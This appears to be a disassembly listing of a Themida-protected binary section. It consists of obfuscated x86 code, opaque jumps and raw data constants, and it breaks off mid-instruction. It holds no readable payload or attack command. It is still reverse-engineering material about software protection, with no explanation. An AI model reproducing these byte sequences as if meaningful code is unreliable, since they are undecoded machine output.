0D14AF304h, 6E5C1EDh, 4600E581h, 0F581348Dh, 884604h dd 20E9EA01h, 51FFFF8Bh, 4EC81h, 0A3E90000h, 89000037h dd 3C8B5EF1h, 4C48324h, 72037505h, 2DC80120h, 20720375h dd 0FF9F4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B5E9: ; CODE XREF: Themida_:00555D50j mov [esp], ebp jmp loc_553F0C ; --------------------------------------------------------------------------- db 30h, 0E1h, 58h dd 0E959C830h, 0FFFFF041h ; --------------------------------------------------------------------------- loc_55B5FC: ; CODE XREF: Themida_:0055EAD9j xchg ecx, [esp] jmp loc_55454B ; --------------------------------------------------------------------------- loc_55B604: ; CODE XREF: Themida_:005559EBj add ebp, 55F83058h add ebp, esi sub ebp, 55F83058h push dword ptr [esp] pop esi jmp loc_55D15E ; --------------------------------------------------------------------------- loc_55B61B: ; CODE XREF: Themida_:00553FB8j sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_55DC5E ; --------------------------------------------------------------------------- loc_55B62F: ; CODE XREF: Themida_:0055CD3Aj mov ah, 6Eh dec ah shr ah, 6 neg ah add ah, 3Fh xor dl, ah jmp loc_557669 ; --------------------------------------------------------------------------- loc_55B642: ; CODE XREF: Themida_:005582B3j push 63E1h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, 8522C605h jmp loc_55BDF1 ; --------------------------------------------------------------------------- dw 0EFC1h dd 0BCC78107h, 31776B7Ah, 0EE815FFEh, 4EE9BF6h, 24048156h dd 179700F5h, 0DAEBE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B686: ; CODE XREF: Themida_:0055B194j mov esp, [esp] mov [esp], edx push eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- byte_55B693 db 0FFh ; DATA XREF: Themida_:005534CCo dd 0E94077h, 1FFFFF6h, 0BF575AD5h, 2, 34FFFD01h db 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55A175 ; --------------------------------------------------------------------------- dw 814Ah dd 15B633EAh, 5AD12940h, 0C8BCE29h, 0EEA1E924h, 0E94DFFFFh dd 0FFFFC846h, 0E95A1388h, 3AF7h, 0E95BF800h, 0FFFFAC7Bh ; --------------------------------------------------------------------------- loc_55B6DC: ; CODE XREF: Themida_:00556AC9j add ecx, edx pop edx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_554AD0 ; --------------------------------------------------------------------------- dd 4BBh, 245C0100h, 9ED2E904h, 0BDBFFFFFh, 314A7907h, 0BB535FF9h dd 17EF55F8h, 0D3F7D3F7h, 0EAC3814Bh, 0C1441F27h, 0C38107EBh dd 0B3971E3Ah, 0F3E9D901h, 5CFFFFDAh, 9C2404FFh, 0FF7DEEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B731: ; CODE XREF: Themida_:0055D291j sub ecx, 7A856F29h push esi mov esi, 57F6D01h jmp loc_55AC90 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C242C87h, 9C240421h, 0FF7DCAE9h, 0B5C381FFh, 120460Ch dd 0C1815BD9h, 2, 0E9240C87h, 3827h, 0ED81C501h, 272B4C91h dd 5468ED81h, 48B45D2h, 4C48124h, 50000000h, 2B8h, 58C50100h dd 8B242C87h, 44E92424h, 89FFFF9Bh, 8268241Ch, 0E9000037h dd 0FFFF9ECFh, 13CFBB66h, 246C8166h, 6671E304h, 4245C29h dd 24448166h, 6671E304h, 2EC815Bh, 66000000h, 66241489h dd 663726BAh, 4244481h, 0E8E91A92h, 57000039h, 42474FFh dd 0FF8A91E9h, 0A6856FFh, 5E41F545h, 0DD6E946h, 33580000h dd 3C31243Ch, 243C3324h, 2434FF5Ch, 0E1895159h, 4C181h dd 5680000h, 89000075h, 0BB532414h, 4, 835BDA89h, 48904ECh dd 6464B824h, 0C1291F24h, 0E9D10158h, 0FFFF8AF2h, 0E3F68058h dd 45AF088h, 0E9C10067h, 155Fh, 0E41C381h, 0DE01B0B1h dd 4B8505Bh, 1000000h, 343358C6h, 24343124h, 5C243433h dd 0E92434FFh, 0FFFFE7BBh, 5C78166h, 0F7296626h, 5EF8166h dd 0D408E926h, 0F021FFFFh, 5319355Eh, 0B80D71BFh, 2D1EC23Fh dd 3FD67FB9h, 8158C701h, 2C7h, 0D5D6E900h, 0C181FFFFh dd 2D4C5FFBh, 8102E1C1h, 570E40E9h, 59CB898Dh, 4245C01h dd 83241C8Bh, 2D5804C4h, 27E035CCh, 4AF68h, 241C8900h dd 8904EC83h, 5C682404h, 0E954530Bh, 2B4Eh ; --------------------------------------------------------------------------- loc_55B8CC: ; CODE XREF: Themida_:0055DD2Cj mov [esp], eax mov eax, esp push ebp mov ebp, 4 push edx mov edx, 15322C4Ah push ecx mov ecx, 1F5341C7h or ecx, 5FCD7DC3h jmp loc_556277 ; --------------------------------------------------------------------------- dw 0BDBDh dd 56736045h, 0FFFFFFBEh, 222AE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B8FE: ; CODE XREF: Themida_:00555AACj xchg edx, [esp] pop esp jmp loc_5560B0 ; --------------------------------------------------------------------------- loc_55B907: ; CODE XREF: Themida_:00558E63j add edi, 30D950A1h jmp loc_55D27D ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFA699h dword_55B918 dd 9D1C77FFh, 1CD25966h, 0F8E99C24h, 0BAFFFF7Bh, 5FC74E45h ; DATA XREF: Themida_:00553328o dd 38E9D531h, 8BFFFFA7h, 8FE92434h, 5CFFFF95h, 8B243487h dd 0E9562424h, 0FFFFA7D1h, 1A6D1BBFh, 0DF45E90Ch db 2 dup(0FFh) word_55B952 dw 31ADh ; DATA XREF: Themida_:00553464o dd 4EC83D8h, 56240C89h, 0E63508BEh, 0E6C68126h, 81055251h dd 725429EEh, 0CE814603h, 2D325CF1h, 1A2DF681h, 0F1894B06h dd 5384055Eh, 0D8E93AECh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B987: ; CODE XREF: Themida_:0055F3AEj not edi xchg edi, ecx jmp loc_554CCF ; --------------------------------------------------------------------------- dd 0FFE8015Fh, 2C8B2434h, 4C48324h, 0FF2E9h, 1427BF00h dd 814F2EBDh, 0AD0B99F7h, 51C78145h, 29E6D74Fh, 0B8505FFBh dd 3C6768B7h, 75053540h, 0A2E9607Dh db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B9C7: ; CODE XREF: Themida_:00554B07j push dword ptr [esp] pop ebp add esp, 4 mov esi, [esp] add esp, 4 push 1482h mov [esp], edx push ecx mov ecx, 334B5138h sub esp, 4 mov [esp], edx mov edx, 0C412C5Ch xor edx, 1FF675CEh xor ecx, edx pop edx dec ecx jmp loc_55A2FA ; --------------------------------------------------------------------------- dd 0F380CBFEh, 0A0B0507Ch, 0B42AE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA0A: ; CODE XREF: Themida_:0055AC2Aj add esp, 4 add esp, 4 shr eax, 0Ah xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_55F804 ; --------------------------------------------------------------------------- loc_55BA20: ; CODE XREF: Themida_:0055EC38j pop esi add edx, ebx pop ebx sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_55F06D ; --------------------------------------------------------------------------- db 30h, 0D9h, 66h dd 83241C8Bh, 0C83002C4h, 83240C8Bh, 0C33004C4h, 66C0B60Fh dd 666AA268h, 0E9240489h, 0FFFF7AC7h dword_55BA58 dd 4EC83ACh, 0B3241C89h, 0A2B15114h, 48E9D9F6h ; DATA XREF: Themida_:005533ECo db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA6B: ; CODE XREF: Themida_:0055F93Bj add esi, eax jmp loc_55AC2F ; --------------------------------------------------------------------------- dw 0E801h dd 4EC815Dh, 89000000h, 74FF2404h, 8F580424h, 0FEE92404h dd 87000034h, 815C240Ch, 0B5AE6C3h, 0C7C3810Dh, 293BC168h dd 0C7EB81C3h, 833BC168h, 2C8904ECh, 0CA8E924h, 0C2810000h dd 4, 3AF868h, 0F5B8E900h, 0D828FFFFh, 0FF809CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BAC5: ; CODE XREF: Themida_:005575D4j shr edx, 1 cmp eax, edx jz loc_559A39 sub esp, 4 mov [esp], esi push ebx mov ebx, 54757657h mov esi, 0F22DAF24h add esi, ebx pop ebx push ebx push ebp jmp loc_555AF4 ; --------------------------------------------------------------------------- word_55BAEA dw 8B66h ; DATA XREF: Themida_:0055348Co dd 0BDE9240Ch, 5AFFFF8Ch, 0FFB131E9h, 0CD7C05FFh, 0C7895A8Ch dd 2CB3E9h, 0FFC38300h, 5ADFC381h, 0F3811F29h, 84EC844Dh dd 6AE9D989h, 49FFFFDCh, 0C108E1C1h, 0C18104E9h, 6DB7ED61h dd 0C2E9CF89h, 9FFFF9Ch, 0E2815DEAh, 5F467C7Fh, 8904EC83h dd 83BF243Ch, 94AA31Bh, 0EA815FFAh, 5EE37BCFh, 5A1C5709h dd 0FF79CAE9h, 81E289FFh, 4C2h, 4EA8100h, 0E9000000h, 40D0h dd 66D82966h, 81241C8Bh, 2C4h, 2EC8300h, 243C8966h, 0FFB663E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB81: ; CODE XREF: Themida_:0055C1A4j pop ebp pop dword ptr [esp] pop esp imul ecx, eax push ecx pushf jmp loc_55351F ; --------------------------------------------------------------------------- dd 7BD5550h, 81315F13h, 0FD04246Ch, 0E9264071h, 0FFFFBFA8h ; --------------------------------------------------------------------------- loc_55BBA4: ; CODE XREF: Themida_:0055B2E5j mov [esp], ebx jmp loc_55527A ; --------------------------------------------------------------------------- dword_55BBAC dd 0E924248Bh, 0FFFF796Bh, 162EE951h, 89530000h, 2BBD55E3h ; DATA XREF: Themida_:00553484o dd 4575B20Ah, 744EED81h, 0CD815F76h, 13E038DBh, 373FE9h db 0 ; --------------------------------------------------------------------------- loc_55BBD5: ; CODE XREF: Themida_:00558773j pop esp add esp, 4 push ecx push esp pop ecx push edi mov edi, 2FCF11FBh inc edi dec edi or edi, 62F9548Dh shl edi, 7 jmp loc_556ACE ; --------------------------------------------------------------------------- db 59h, 8Bh, 2Ch dd 4C48324h, 7EA815Ah, 0E9315F13h, 0FFFF7917h, 0B1515866h dd 0B247E903h db 2 dup(0FFh) word_55BC12 dw 77FFh ; DATA XREF: Themida_:00553268o dd 58669D1Ch, 24041966h, 78FDE99Ch, 5C01FFFFh, 1C8B0424h dd 0A59E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC2E: ; CODE XREF: Themida_:0055F811j add esp, 4 push 0A03h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55C52B ; --------------------------------------------------------------------------- db 5Fh dd 2414F756h, 0E924348Bh, 0FFFFD054h ; --------------------------------------------------------------------------- loc_55BC60: ; CODE XREF: Themida_:005589BCj mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_553E14 ; --------------------------------------------------------------------------- dw 0B951h dd 46E211F7h, 2A058C2Dh, 5753566Eh, 423A06BFh, 90F7813Bh dd 817B240Dh, 0C67B8E7h, 95EF8125h, 470BBC46h, 0F4C7814Fh dd 89891160h, 0D3F75FFBh, 0AF98F381h, 0DE89EF7Fh, 0F0E6815Bh dd 816F274Ch, 0C7213DF6h, 0E9F00174h, 200Bh, 7942D5B9h dd 8BCA0104h, 0C481240Ch, 4, 7CFDC281h, 0EA812E8Ah, 3DA46439h dd 0FFAAB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BCE9: ; CODE XREF: Themida_:00555B93j add esp, 4 push ebp push 75DA04F6h pop ebp jmp loc_55B4EA ; --------------------------------------------------------------------------- loc_55BCFB: ; CODE XREF: Themida_:005594D1j mov edi, esp push eax jmp loc_5550C1 ; --------------------------------------------------------------------------- db 0BFh dd 4, 2130C581h, 24E96573h, 89FFFF94h, 0B3E92424h, 31FFFF92h dd 0B7E958C5h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD23: ; CODE XREF: Themida_:00556B6Bj mov edi, 1F346DA8h push ebx jmp loc_55654E ; --------------------------------------------------------------------------- word_55BD2E dw 0F766h ; DATA XREF: Themida_:00553290o dd 0E99C241Ch, 0FFFF77E7h, 0E950575Ah, 0FFFFCECDh ; --------------------------------------------------------------------------- loc_55BD40: ; CODE XREF: Themida_:00556D4Aj push esi push eax mov eax, 48741D88h jmp loc_55A7E7 ; --------------------------------------------------------------------------- loc_55BD4C: ; CODE XREF: Themida_:0055667Ej sub dword ptr [esp+8], 418750Eh pop ebx jmp loc_55D99D ; --------------------------------------------------------------------------- word_55BD5A dw 8B66h ; DATA XREF: Themida_:00553438o dd 54502404h, 3E0EE9h, 4C48100h, 56000000h, 42474FFh, 15FAE95Eh dd 0E95F0000h, 0FFFFE8E4h ; --------------------------------------------------------------------------- loc_55BD7C: ; CODE XREF: Themida_:00558D5Aj push 5653h mov [esp], ecx mov ecx, 22B32E63h jmp loc_55F8C0 ; --------------------------------------------------------------------------- dw 1431h dd 0B988E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD96: ; CODE XREF: Themida_:00557304j add esp, 4 jmp loc_555640 ; --------------------------------------------------------------------------- dw 0C483h dd 63B85004h, 35098434h, 183171C5h, 15060905h, 7E0C12Eh dd 0BD55D8F7h, 1ADA2882h, 15DE831h, 0EEF2E9C7h, 48BFFFFh dd 4C48324h, 8704C583h, 685C242Ch, 2DECh, 0FFF31AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BDDD: ; CODE XREF: Themida_:00558A76j sub edx, ebx pop ebx xor edx, 13697E65h xor edx, 6E76FE6Eh jmp loc_558981 ; --------------------------------------------------------------------------- loc_55BDF1: ; CODE XREF: Themida_:0055B661j xor ecx, edx pop edx jmp loc_5585D3 ; --------------------------------------------------------------------------- db 1, 0EAh, 0E9h dd 0FFFFACBAh ; --------------------------------------------------------------------------- loc_55BE00: ; CODE XREF: Themida_:0055A479j add edx, 4 xchg edx, [esp] pop esp jmp loc_559238 ; --------------------------------------------------------------------------- dd 4C481h, 0B9510000h, 2, 3FE9CD01h, 53000020h, 2938685Ah dd 14890000h, 24048124h, 2716582Eh, 23D9E9h, 89CD8900h dd 1595DEFh, 85B9E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BE42: ; CODE XREF: Themida_:00557469j mov edx, 3D9FAEh sub ecx, edx push dword ptr [esp] pop edx jmp loc_55558E ; --------------------------------------------------------------------------- loc_55BE52: ; CODE XREF: Themida_:0055808Cj add esp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 638F4766h add ecx, 0FFFFFFFFh shr ecx, 4 push edi push ecx mov ecx, 30E02BF6h jmp loc_55759B ; --------------------------------------------------------------------------- db 1 dd 0FEEA81EAh, 8B72807Fh, 8956242Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 0E956555Ch, 0FFFFCEAAh, 1931E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE9E: ; CODE XREF: Themida_:0055448Aj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi jmp loc_55D04C ; --------------------------------------------------------------------------- dd 4B8h, 58C30100h, 5C241C87h, 0FFE512E9h, 0DBEF81FFh dd 5548AD57h, 1F1DB0BDh, 5DEF017Ah, 1DA3CF81h, 0DFF75F6Bh dd 11B1BD55h, 0EDC165F9h, 0C5814505h, 734D7BE6h, 267ED81h dd 1EE9D5F9h, 0B9FFFF78h, 4, 2017E9h, 5EF00100h, 562DD801h dd 0E96EB04Dh, 0FFFF77F5h, 0C15FF931h, 0B1E902E9h, 87FFFFF2h dd 0D35C2434h, 0E99C243Ch, 0FFFF75F7h, 6853515Bh, 575F6D53h dd 50241C8Bh, 405E089h, 0E9000000h, 0FFFFF124h, 5446C281h dd 0D32102AFh, 14F7535Ah, 0D3F75B24h, 60D1C381h, 0C38172ACh dd 89522A11h, 0FFF2C5E9h, 4C483FFh, 405h, 4B95100h, 5000000h dd 0B3A65AAh, 0AA2DC801h, 590B3A65h, 0FFAE12E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BF81: ; CODE XREF: Themida_:0055F321j add esi, 4 jmp loc_5552FD ; --------------------------------------------------------------------------- loc_55BF8C: ; CODE XREF: Themida_:0055D047j mov ecx, [esp] push ebp jmp loc_559661 ; --------------------------------------------------------------------------- db 88h, 0E8h, 59h dd 0F030CEFEh, 0F030C630h, 0FE06B252h, 80DAF6CAh, 0D02803F2h dd 26AAE9h, 0E0895000h, 0FF8C34E9h, 0F0C181FFh, 5D1F501Fh dd 0BEF18149h, 0C119142Ch, 0E1C105E1h, 6E9C105h, 0FFAFEDE9h dd 24048BFFh, 2F4E9h, 2474FF00h, 2434FF04h, 83241C8Bh dd 0C48304C4h, 24048F04h, 0E924248Bh, 3AA9h ; --------------------------------------------------------------------------- loc_55BFF8: ; CODE XREF: Themida_:005550D2j shl eax, 2 push ecx mov ecx, 34AF43EAh add ecx, 0FFFFFFFFh jmp loc_55DB4C ; --------------------------------------------------------------------------- dd 8BDE0158h, 0C481241Ch, 4, 31243433h, 34332434h, 24248B24h dd 4AB0F66h, 0F0E99C24h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C02F: ; CODE XREF: Themida_:00559918j dec edi shr edi, 7 jmp loc_55F660 ; --------------------------------------------------------------------------- dd 1061E835h, 89B95152h, 31468027h, 0C68959C8h, 21EBE958h dd 7BB80000h, 4860BD0Ah, 8A05D8F7h, 0C15B7461h, 5EE904E0h dd 51FFFF9Eh, 0B56CB252h, 0E9D52898h, 0FFFFD01Eh ; --------------------------------------------------------------------------- loc_55C070: ; CODE XREF: Themida_:00553CADj push ecx mov ecx, 446F0D24h shr ecx, 7 shr ecx, 3 xor ecx, 35BF4C21h add eax, 35FA528Ch add eax, ecx sub eax, 35FA528Ch pop ecx sub eax, edi sub eax, 35AE57E2h push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx push esp pop edx jmp loc_55ABD5 ; --------------------------------------------------------------------------- loc_55C0AA: ; CODE XREF: Themida_:0055E785j pop ebx shr ecx, 7 push ebp push eax mov eax, 76675625h dec eax sub eax, 8ED678Eh add eax, 0F7D86A41h jmp loc_558D67 ; --------------------------------------------------------------------------- loc_55C0C5: ; CODE XREF: Themida_:0055639Aj add ecx, 183D744Eh jmp loc_554681 ; --------------------------------------------------------------------------- loc_55C0D0: ; CODE XREF: Themida_:00554410j xchg ebp, [esp] pop esp push esi pop dword ptr [edx+38h] push dword ptr [esp] mov esi, [esp] push 0DB4h jmp loc_554B1D ; --------------------------------------------------------------------------- loc_55C0E8: ; CODE XREF: Themida_:0055A734j mov ebx, [esp] push edx jmp loc_5563F4 ; --------------------------------------------------------------------------- byte_55C0F1 db 0ADh, 2Dh, 9Eh ; DATA XREF: Themida_:00553488o dd 0E9387149h, 0FFFFECD1h ; --------------------------------------------------------------------------- loc_55C0FC: ; CODE XREF: Themida_:00556D6Fj mov ecx, [esp] add esp, 4 pop edx push esi jmp loc_55C9FC ; --------------------------------------------------------------------------- dd 2C8BEB21h, 4C48124h, 50000000h, 9E6E29B8h, 58C32103h dd 68BBE381h, 0BD556762h, 3023FFCh, 2C8BEB29h, 0EFAEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C136: ; CODE XREF: Themida_:0055C804j neg esi push eax jmp loc_55D756 ; --------------------------------------------------------------------------- dw 432Ch dd 0B753D800h, 0D421E923h, 5FBFFFFFh, 0C10F4F7Fh, 0DFF707E7h dd 8107EFC1h, 63E1AC7h, 7BC9E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C162: ; CODE XREF: Themida_:00554965j add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx mov ecx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp push dword ptr [esp+4] jmp loc_55BB81 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 0C1h dd 2D05E8h, 4068907Bh, 46BE5648h, 4E4D7903h, 0F705E6C1h dd 0DDC681DEh, 1757D80h, 0DE95EF0h, 1FFFF80h, 14875DEAh dd 0BF0F5C24h, 0E452E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1DE: ; CODE XREF: Themida_:00557474j push bx mov bh, 31h jmp loc_556D4F ; --------------------------------------------------------------------------- db 31h dd 34332434h, 24248B24h, 24048B66h, 35DDE9h, 89535900h dd 4C381E3h, 83000000h, 3EE904EBh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C20B: ; CODE XREF: Themida_:00556E54j mov ecx, [esp] push esi mov esi, esp push ebx mov ebx, esp jmp loc_5595D4 ; --------------------------------------------------------------------------- loc_55C219: ; CODE XREF: Themida_:00558D6Cj neg ebp sub ebp, 99F46AE2h xor ecx, ebp jmp loc_55C794 ; --------------------------------------------------------------------------- dd 0BB535D54h, 43271717h, 87F3814Bh, 0E9308D79h, 0FFFFE487h dd 56240481h, 5637747Eh, 0AC02BDBEh, 2474291Ch, 0BB535E04h dd 0CC6158Dh, 0FFF9C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C259: ; CODE XREF: Themida_:0055EA4Dj push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp push 15A7h jmp loc_555CFF ; --------------------------------------------------------------------------- loc_55C274: ; CODE XREF: Themida_:00558CAFj add esi, 4 xchg esi, [esp] jmp loc_55979D ; --------------------------------------------------------------------------- db 0B6h dd 0E9C630A0h, 0FFFFF5A4h, 4C481h, 0BF570000h, 44DB763Bh dd 55DFF747h, 2489C6BDh, 5DEF31BBh, 0ECE9FD29h db 0EDh, 2 dup(0FFh) byte_55C2A7 db 66h ; DATA XREF: Themida_:00553304o dd 68240C8Bh, 4C82h, 89240489h, 8BF57E0h, 552B5140h, 0AA0DB8BDh dd 8E5C12Ah, 94A5ED81h, 0EF013E52h, 0FFD901E9h, 76EE68FFh dd 4890000h, 5E08924h, 4, 11C4E953h, 0D3890000h, 0E9D3F75Ah dd 2F46h, 33241431h, 248B2414h, 24040924h, 721DE99Ch, 348BFFFFh dd 0ECD1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C30A: ; CODE XREF: Themida_:00559577j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx jmp loc_555551 ; --------------------------------------------------------------------------- db 55h dd 0FFDF4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C325: ; CODE XREF: Themida_:00555B18j xor edx, 48C14AF0h xor edx, 51EE5BB1h jmp loc_55DE4E ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFE849h ; --------------------------------------------------------------------------- loc_55C33C: ; CODE XREF: Themida_:0055F9AFj mov edx, 3ED14A34h mov ebx, 0CB43D00Bh add ebx, edx pop edx push esi mov esi, 21EA6207h or ebx, esi jmp loc_55EE87 ; --------------------------------------------------------------------------- dw 3489h dd 0C915E924h, 0EF01FFFFh, 243C875Dh, 1350E9h db 0 ; --------------------------------------------------------------------------- loc_55C369: ; CODE XREF: Themida_:0055554Cj mov esp, [esp] jmp loc_55712D ; --------------------------------------------------------------------------- db 81h, 0C3h, 24h dd 89528304h, 3CBB5BD9h, 298EC72Fh, 0D3F759CBh, 659BEB81h dd 0E3C10BA7h, 0F7EB8702h, 0E9EB87D5h, 0FFFFF3BDh ; --------------------------------------------------------------------------- loc_55C398: ; CODE XREF: Themida_:00556963j xchg edx, [esp] pop esp jmp loc_55FB8B ; --------------------------------------------------------------------------- db 59h, 0E9h, 0C9h dd 5AFFFF86h, 2404875Dh, 6624248Bh, 66C8AF0Fh, 64E99C51h dd 0BAFFFF71h, 277D3AA7h, 0E95AD689h, 0FFFFDF90h ; --------------------------------------------------------------------------- loc_55C3C8: ; CODE XREF: Themida_:0055DD0Bj inc ebx xor ebx, 0EDC1155h xor ebx, 5D94B254h add edx, ebx pop ebx xchg edi, edx not edi xchg edi, edx sub edx, 0FFFFFFFFh add edx, 0D47611E6h sub eax, edx mov edx, [esp] jmp loc_55EC96 ; --------------------------------------------------------------------------- dword_55C3F4 dd 42474FFh, 0FF8156E9h, 593B68FFh, 0C890000h, 1A64E924h ; DATA XREF: Themida_:0055336Co dd 2C870000h, 0EFACE924h, 8B54FFFFh, 0B6E9242Ch, 57FFFFECh dd 695248BFh, 1BEF8118h, 81516B1Fh, 6D116FF7h, 46EF8133h dd 81823803h, 4B107DC3h, 81FB2947h, 4B107DEBh, 7BE95F47h dd 0E9FFFFC2h, 0FFFF70D3h, 0E9240C89h, 16DBh ; --------------------------------------------------------------------------- loc_55C454: ; CODE XREF: Themida_:005555E1j mov ebp, 743F5127h shl ebp, 3 jmp loc_556941 ; --------------------------------------------------------------------------- byte_55C461 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005534A4o dd 4EC8159h, 89000000h, 0E189240Ch, 48C2BB53h, 0E9E92534h dd 31FFFFC2h, 3C33243Ch, 1D27E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C486: ; CODE XREF: Themida_:005544CCj sub ecx, 0B3CF4481h sub ebx, 27AF0100h sub ebx, ecx add ebx, 27AF0100h jmp loc_5573E2 ; --------------------------------------------------------------------------- byte_55C49F db 0ADh ; DATA XREF: Themida_:00553270o dd 0FF851EE9h, 0F78957FFh, 5E5FFD89h, 1396E9h, 59EF8800h dd 4EC8351h, 88241489h, 5AF188FEh, 152E9h, 48B6600h, 8B545524h dd 0CAE9242Ch, 0BE000017h, 0A01628Fh, 1E83C681h, 0C6292BCEh dd 1E83EE81h, 0F7582BCEh, 50DEF7D6h, 9258C6B8h, 0FFC62973h dd 74E92434h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C4FB: ; CODE XREF: Themida_:00559192j mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_557C53 ; --------------------------------------------------------------------------- aSrUEC db 'µ™R²“,E,ç',0 dw 4D0h dd 5A4504E7h, 932CE800h, 0FFD726E9h, 0CAE951FFh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C52B: ; CODE XREF: Themida_:0055BC4Ej mov [esp], esi push 6F76h mov [esp], ebp pop esi pop ebp xor eax, esi xor esi, eax xor eax, esi push 151h mov [esp], ebp sub esp, 4 mov [esp], ecx push ebx jmp loc_5555E0 ; --------------------------------------------------------------------------- db 57h, 0E9h, 0D0h dd 68FFFFD8h, 332Eh, 81242489h, 42404h, 815F0000h, 4C7h dd 4EF8300h, 0E9243C87h, 0FFFFAFF8h, 0E42DD0F7h, 1EBEACFh dd 0EE8158C6h, 4, 5C243487h, 2689E9h db 0 ; --------------------------------------------------------------------------- loc_55C595: ; CODE XREF: Themida_:0055F7D1j push 7B39h mov [esp], ebp mov ebp, 5AFB48D9h push ebx mov ebx, ebp push 7CF8h mov [esp], ebx push ebx mov ebx, 7A415FCFh sub [esp+4], ebx pop ebx pop edi add edi, 7A415FCFh jmp loc_556F86 ; --------------------------------------------------------------------------- dd 6BB2F681h, 0F3895000h, 0E517E95Eh, 0DA89FFFFh, 0CDEA815Bh dd 81245366h, 0B02ABAEAh, 1A8AE953h, 34FF0000h, 3EE95D24h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C5EF: ; CODE XREF: Themida_:00558589j add ebp, 4 add ebp, 4 jmp loc_55F69F ; --------------------------------------------------------------------------- db 0B8h, 0C3h, 33h dd 0E0C13905h, 92D9E908h, 1433FFFFh, 2CD35C24h, 5CE99C24h dd 53FFFF93h, 0FFCF0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C61D: ; CODE XREF: Themida_:0055F757j pop esi jmp loc_55E040 ; --------------------------------------------------------------------------- db 52h dd 477ABE56h, 0C68175D9h, 76E60775h, 44D7F681h, 0E6C14FFEh dd 0E1F68106h, 0E9D753EFh, 811h dword_55C644 dd 24048B66h, 64A568h, 240C8900h, 19685954h, 89000063h ; DATA XREF: Themida_:00553240o dd 4BA2414h, 0E9000000h, 0FFFF72ADh ; --------------------------------------------------------------------------- loc_55C664: ; CODE XREF: Themida_:005596F2j sub edi, 0AE30E515h sub ecx, 195A52B4h jmp loc_55A36E ; --------------------------------------------------------------------------- loc_55C675: ; CODE XREF: Themida_:005535C0j add edi, ecx pop ecx jmp loc_558B61 ; --------------------------------------------------------------------------- db 5Dh, 29h, 0D3h dd 98E9525Ah, 81FFFFF7h, 4ECh, 24048900h, 405E089h, 83000000h dd 48704C0h, 24248B24h, 0FF8488E9h, 4EC81FFh, 89000000h dd 8FB82404h, 0F71C4032h, 950548D0h, 501C4032h, 7C242C81h dd 0E955307Dh, 2325h ; --------------------------------------------------------------------------- loc_55C6C8: ; CODE XREF: Themida_:00553C19j xor ecx, [esp] mov esp, [esp] jmp loc_55495B ; --------------------------------------------------------------------------- aAAS_ db 'Àí',7,'€Í',0Bh,'éË.',0 align 2 loc_55C6DE: ; CODE XREF: Themida_:00556066j shl edx, 1 sub esp, 4 mov [esp], eax push 2C1Eh mov [esp], esi mov esi, 151E6716h push 7A89h mov [esp], ebx mov ebx, 191A092Bh add esi, ebx jmp loc_55A1CB ; --------------------------------------------------------------------------- loc_55C70A: ; CODE XREF: Themida_:00556114j mov [esp], edx mov edx, esp jmp loc_55E619 ; --------------------------------------------------------------------------- loc_55C714: ; CODE XREF: Themida_:005571D2j mov ebp, [esp] jmp 